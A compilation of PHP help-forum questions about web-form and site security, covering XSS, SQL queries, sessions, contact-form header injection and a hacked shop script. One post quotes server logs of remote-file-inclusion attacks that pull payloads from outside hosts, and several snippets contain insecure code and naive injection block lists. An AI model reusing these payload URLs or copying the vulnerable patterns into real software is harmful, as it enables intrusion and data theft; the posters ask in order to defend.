PHP - Question On E-mail Form Field Security

Hey people, I was going over an old script of mine the other day and I ran I web vulnerability scanner on it to see how secure it was and I got an XSS warning, now this puzzles me because I am not entirely sure how this affects the script and what can/can't be done, this script is old so I will paste the relevant bits in here, it was playing with the $page variable.  What damage could you do and how would you remedy the problem?

Code: [Select]
if(isset($_GET['page'])) {
if($_GET['page'] > $numpages) {
$page = 1;
} else {
$page = $_GET['page'];
}
} else {
$page = 1;
}


echo ('<strong style="margin-top: 4px; margin-left: 3px;">Page ' . $page . ' of ' . $numpages . '</strong></p>');

By putting a non-number in there like hello.php?page=Hello, it simply output the word hello so I am not fully sure what the security implications are and how insecure it really is.

Might sound like a dumb question but it's been nagging at me.

Thanks for reading!

Hi,

My ISP doesn't allow direct access to mysql Server so I created a bridge and stored the PHP code in the main web folder (https://www.mydomain.com/post.php).

The bridge works fine and is used mainly for my IOT projects.

In the same web folder, is located the conn.php code containing the server's credentials.

The question is, how safe is the PHP code at that location? I can create a subfolder but not sure if it matters as far as security is concerned.

TIA

Apologies for the lame subject title - I don't know what to call this thread.

Last year, before I'd ever opened a book on php, my site was hacked.
I was using a third party e-commerce script 'Cart Keeper' (since replaced).

Somehow, the hackers planted some files on my server that looked like official bank pages (I'm sure you've all seen the sort of thing).

Here are some log files sent by my host at that time...

Quote

"GET
//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.805"
www.example.com 89.38.128.43 - - [19/Jun/2009:11:58:48 +0100]
"GET
//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.65"
www.example.com 89.38.128.43 - - [19/Jun/2009:11:58:49 +0100]
"GET
//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.65"
www.example.com 89.38.128.43 - - [19/Jun/2009:11:59:24 +0100]
"GET
/arts//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 302 313 "-" "libwww-perl/5.65"
www.example.com 66.249.134.74 - - [19/Jun/2009:12:01:26 +0100]
"GET
//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.805"
www.example.com 66.249.134.74 - - [19/Jun/2009:12:01:28 +0100]
"GET
//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.805"
www.example.com 66.249.134.74 - - [19/Jun/2009:12:01:32 +0100]
"GET
/ckshop.php?category=21//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 42 "-" "libwww-perl/5.805"
www.example.com 89.38.128.43 - - [19/Jun/2009:12:01:47 +0100]
"GET
/ckshop.php//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.65"
www.example.com 89.38.128.43 - - [19/Jun/2009:12:01:48 +0100]
"GET
/ckshop.php//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 311 "-" "libwww-perl/5.65"
www.example.com 89.38.128.43 - - [19/Jun/2009:12:01:49 +0100]
"GET
/ckshop.php?category=21//ckshop.php?incdir=http://www.epoca.co.cr/modules/My_eGallery/gallery/yes.txt???
HTTP/1.1" 200 42 "-" "libwww-perl/5.65"
www.example.com 89.38.128.43 - - [19/Jun/2009:11:58:52 +0100]
"GET //ckshop.php?incdir=http://racrew.us/ec.txt?? HTTP/1.1" 200 357 "-"
"libwww-perl/5.65"


and here is what they wrote to me at the time...

Quote

The majority of these files where then caught by our egress firewall as
they had completed as the file in question had allowed the http user to
call a shell and use a variety of code (wget lwp et al) to call in
external toolkits.

This attack was mostly mechanised, however was changing so it is my
belief that the perpetrator was reconfiguring the attack as he went as
failures where seen.

Please check your site code for possible updates, security updates, and
ensure that no files have been changed that should not have been.

Please confirm that you have read this mail and are aware of the
implications / taking action.



Can someone identify the name of this type of attack?
...and possibly a tutorial on securing against this form of attack?
As I am learning php, I would like to make sure it doesn't happen again.


Many thanks for your help

HI all,

I have a book with some nice examples, but often i wonder if they are that secure for displaying and using outside the production area.

One of them is this.
A form is created by using a while loop that gets data(email addresses) from a database and shows them with check boxes. after that someone can select the e-mailaddress they don't like and delete them from the database.
here is some code:

<?php
        //....
        $result = mysqli_query($dbc,$query);

        while ($row = mysqli_fetch_array($result)){
            echo '<input type="checkbox" value"'.$row['id'].'"name="todelete[]"/>';
            echo $row['firstname'];
        }

        //.........deleting part
        if (isset($_POST['submit'])){
        foreach($_POST['todelete'] as $delete_id){
            
            $query = "DELETE FROM email_list WHERE ID = $delete_id";
                mysqli_query ($dbc, $query)
                        or die ('error querying databse');
                       
            }
        }
        //....
?>

I have two questions:
-> is this a smart way of deleting stuff? since you are going to use multiple queries instead of 1 in the for each loop.
-> besides not using mysqli_real_escape_string, isn't this application allowing someone to alter the POST-array (todelete) to any value he likes? At least that's what i think can happen. If anyone knows a nice way to do this more secure , I would love to here it, because i don't really trust the html array created.

Thanks in advance!

Im making a map atm which will have tokens"not sure what you call them" in the link like
map.php?id=token

Well I dont want a 3rd party coming along in the future and making their own map using my y and x cords.
So I was thinking maybe the best way around this is to use a encryption in the link? so encrypting the x and y cords in the link.

Anyone have any ideas on this.

Also I was wondering is it impossible for php to know when somone clicks a link? I was googling around and it doesnt seem like you cant simply use a $_POST for a link

I have a business social network site on hosting server. I am wondering if sessions are enough secure.
ini_set('session.use_only_cookies', 1); //this prevent Session Fixation?
session_start();

if($_SESSION['loggedIn'] && $_SESSION['userIP']==$_SERVER["REMOTE_ADDR"]) // extra security
//user is logged in, assign all data to this profile from session
else
//user is not logged in, no data are assigned

Would you consider that as enough secure?

Hello, I have coded a contact form in PHP and I want to know, if according to you, it is secure! I am new in PHP, so I want some feedback from you.

Moreover, I have also two problems based on the contact form. It is a bit complicated to explain, thus, I will break each of my problem one by one.

FIRST:The first thing I want to know, is if my contact form secure according to you:

The HTML with the PHP codes:

Code: [Select]
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {

//Assigning variables to elements
$first = htmlentities($_POST['first']);
$last = htmlentities($_POST['last']);
$sub = htmlentities($_POST['subject']);
$email = htmlentities($_POST['email']);
$web = htmlentities($_POST['website']);
$heard = htmlentities($_POST['heard']);
$comment = htmlentities($_POST['message']);
$cap = htmlentities($_POST['captcha']);

//Declaring the email address with body content
$to = 'alithebestofall2010@gmail.com';
$body ="First name: '$first' \n\n Last name: '$last' \n\n Subject: '$sub' \n\n Email: '$email' \n\n Website: '$web' \n\n Heard from us: '$heard' \n\n Comments: '$comment'";

//Validate the forms
if (empty($first) || empty($last) || empty($sub) || empty($email) || empty($comment) || empty($cap)) {
echo '<p class="error">Required fields must be filled!</p>';
header ('refresh= 3; url= index.php');
return false;

} 
elseif (filter_var($first, FILTER_VALIDATE_INT) || filter_var($last, FILTER_VALIDATE_INT)) {
echo '<p class="error">You cannot enter a number as either the first or last name!</p>';
return false;
} 
elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo '<p class="error">Incorrect email address!</p>';
return false;
}
elseif (!($cap === '12')){
echo '<p class="error">Invalid captcha, try again!</p>';
return false;
}
else {
mail ($to, $sub, $body);
echo '<p class="success">Thank you for contacting us!</p>';
}
}
?>
<form action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
<p>Your first name: <span class="required">*</span></p>
<p><input type="text" name="first" size="40" placeholder="Ex: Paul"/></p>

<p>Your last name: <span class="required">*</span></p>
<p><input type="text" name="last" size="40" placeholder="Ex: Smith"/></p>

<p>Subject: <span class="required">*</span></p>
<p><input type="text" name="subject" size="40" placeholder="Ex: Contact"/></p>

<p>Your email address: <span class="required">*</span></p>
<p><input type="text" name="email" size="40" placeholder="Ex: example@xxx.com"/></p>

<p>Website:</p>
<p><input type="text" name="website" size="40" placeholder="Ex: http//:google.com"/></p>

<p>Where you have heard us?: <span class="required">*</span></p>
<p><select name="heard">
<option>Internet</option>
<option>Newspapers</option>
<option>Friends or relatives</option>
<option>Others</option>
</select></p>

<p>Your message: <span class="required">*</span></p>
<p><textarea cols="75" rows="20" name="message"></textarea></p>

<p>Are you human? Sum this please: 5 + 7 = ?: <span class="required">*</span></p></p>
<p><input type="text" name="captcha" size="10"/></p>

<p><input type="submit" name="submit" value="Send" class="button"/>
<input type="reset" value="Reset" class="button"/></p>
</form>

SECOND PROBLEM:If a user has made a mistake, he gets the error message so that he can correct! However, when a mistake in the form occurs, all the data the user has entered are disappeared! I want the data to keep appearing so that the user does not start over again to fill the form.

THIRD: When the erro message is displayed to notify the user that he made a mistake when submitting the form, the message is displaying on the top of the page. I want it to appear below each respective field. How to do that? In JQuery it is simple, but in PHP, I am confusing!

I have a php page that processes a form.  How do I prevent someone from making their own form on their own domain and then saying <form metod=post action = "www.hackerdomain.com/bad.php">

and then passing their own variables?

Do I set up a $session variable on my form page and assign it to  $_SERVER["PHP_SELF"]?

I am trying to keep the user input clean with this script but can't figure out what is wrong with it.
the error I am getting is Warning: preg_match() expects parameter 1 to be string,

 $bad_strings = array(
                "content-type:",
                "mime-version:",
                "multipart/mixed",
"Content-Transfer-Encoding:",
                "bcc:",
"cc:",
"to:",
   );
if (preg_match($bad_strings, $first_name)) {
    die;

I have a login system that uses a flat file database.  The flat file is in a directory outside the public_html.  My questions;

1- Is is still possible to hack into that file?

Currently I do not encrypt the passwords as I have been told that having the file outside the public_html makes the file unavailable to the public.  This allows me the advantage of sending the Username and Password to the user in an email if they forget there password or username.  Otherwise- I would have to set up a more complicated method to allow them to change their password to re-gain access to the site.  I have an SSL on the site also so I am not worried about packet sniffing.

Thanks

system: vista ultimate sp2
IIS 7 server installed and running
PHP 5
fastCGI

im not sure if this is within the purview of the forum but you all seem like smart people with an expertise in this area.

i have a web site http://penumbraproductions.dyndns-remote.com/ .  it is hosted locally on my desktop using the above mentioned IIS7 server options using dyndns to list the url cause my ISP has DHCP without static ip's for non-business accounts

that has a contact form... form mail.  i've tried numerous php codes to get it to send mail to my email account but none of them are working

my IIS smtp setting a
email to: archaismic@gmail.com
smtp server: smtp.gmail.com
port number: 465
using login credentials

i've also tried to configuring the smtp options in IIS to dump the mail to a folder on my computer which also did not work

attached is the feedback.php file im currently working with minus the captcha private key

and the code for the form i'm using is:

Code: [Select]
<form action="feedback.php" method="post">
<table border="0" cellpadding="8" cellspacing="8">
<tr><td><label for="tswname">Name</label>:</td><td><input type="text" name="fullname" id="tswname" size="25" /></td></tr>
<tr><td><label for="tswemail">Email address</label>:</td><td><input type="text" id="tswemail" name="email" size="25" /></td></tr>
<tr>
<td colspan="2">
<label for="tswcomments">Comments</label><br />
<textarea rows="15" cols="45" name="comments" id="tswcomments"></textarea>
</td>
</tr>
<tr>
<td align="center" colspan="2">
<script type="text/javascript" src="http://api.recaptcha.net/challenge?k=6LcYjcASAAAAAH1NwZ0IH_TUO4XDANZqWu3Ei9yh"></script>
<noscript>
<iframe src="http://api.recaptcha.net/noscript?k=6LcYjcASAAAAAH1NwZ0IH_TUO4XDANZqWu3Ei9yh" height="300" width="500" frameborder="0" title="CAPTCHA test"></iframe>
<br />
<label for="tswcaptcha">Copy and paste the code provided in above box he </label><br />
<textarea name="recaptcha_challenge_field" id="tswcaptcha" rows="3" cols="40"></textarea>
<input type="hidden" name="recaptcha_response_field" value="manual_challenge" />
</noscript>
</td>
</tr>
<tr>
<td align="center" colspan="2">
<input type="submit" value="Send Feedback" />
</td>
</tr>
</table>
</form>

Hello, all: I'm a newbie and I'm trying to understand the whole php security thing a bit better, and found this function that seems easy to implement, as well as easy to understand... my question is...

Does this means I could use regular $_POST, $_GET, $_COOKIE, $_REQUEST variables without having to individually worry about escaping them every time I use them in queries... is this correct? or safe enough? see example below, along with how I'm using variable in a query...  it seems to be working fine, as it does echo out the \ escape character when I test it, or when I try to inject it...

Appreciate your input!


Code: [Select]
<?php

$_POST=sanitize($_POST);
$_GET=sanitize($_GET);
$_COOKIE=sanitize($_COOKIE);
$_REQUEST=sanitize($_REQUEST);

function sanitize($input){
if(is_array($input)){
foreach($input as $k=>$i){
$output[$k]=sanitize($i);
}
}
else{
if(get_magic_quotes_gpc()){
$input=stripslashes($input);
}
$output=mysql_real_escape_string($input);
}
return $output;
}


// mysql query then I could use be:

$money = $_GET['money'];
$result = mysql_query("SELECT * FROM countries WHERE currencies = '$money'");

 
?>

i want to make a form that has a name, subject, email and comment input box... this is all done and working.

the thing i am having trouble with is making the comment box not allow links in it.

i thought it would be something like:

if("comments" == "<a href=''></a>"){
 echo "You have Entered the Wrong Information";
}else{

Insert Record Code..

}

the "comments" name is the name of the comment text box.

is this anywhere near what it should be ?

I'm using the following to clean up input from my contact form,
but I got header injection attacked anyway. What am I doing wrong?


$trail_section_mile = strip_tags(stripslashes($trail_section_mile))
//this is repeated for several other fields, then:

$email_message .= "Trail Section Mile Markers: ".clean_string($trail_section_mile)."\n";
//this is repeated for several other fields, then:

/* see isInjected function below */
function clean_string($string) {
      $bad = array("content-type","bcc:","to:","cc:","href","/n","");
      return str_replace($bad,"",$string);
    }
// send the mail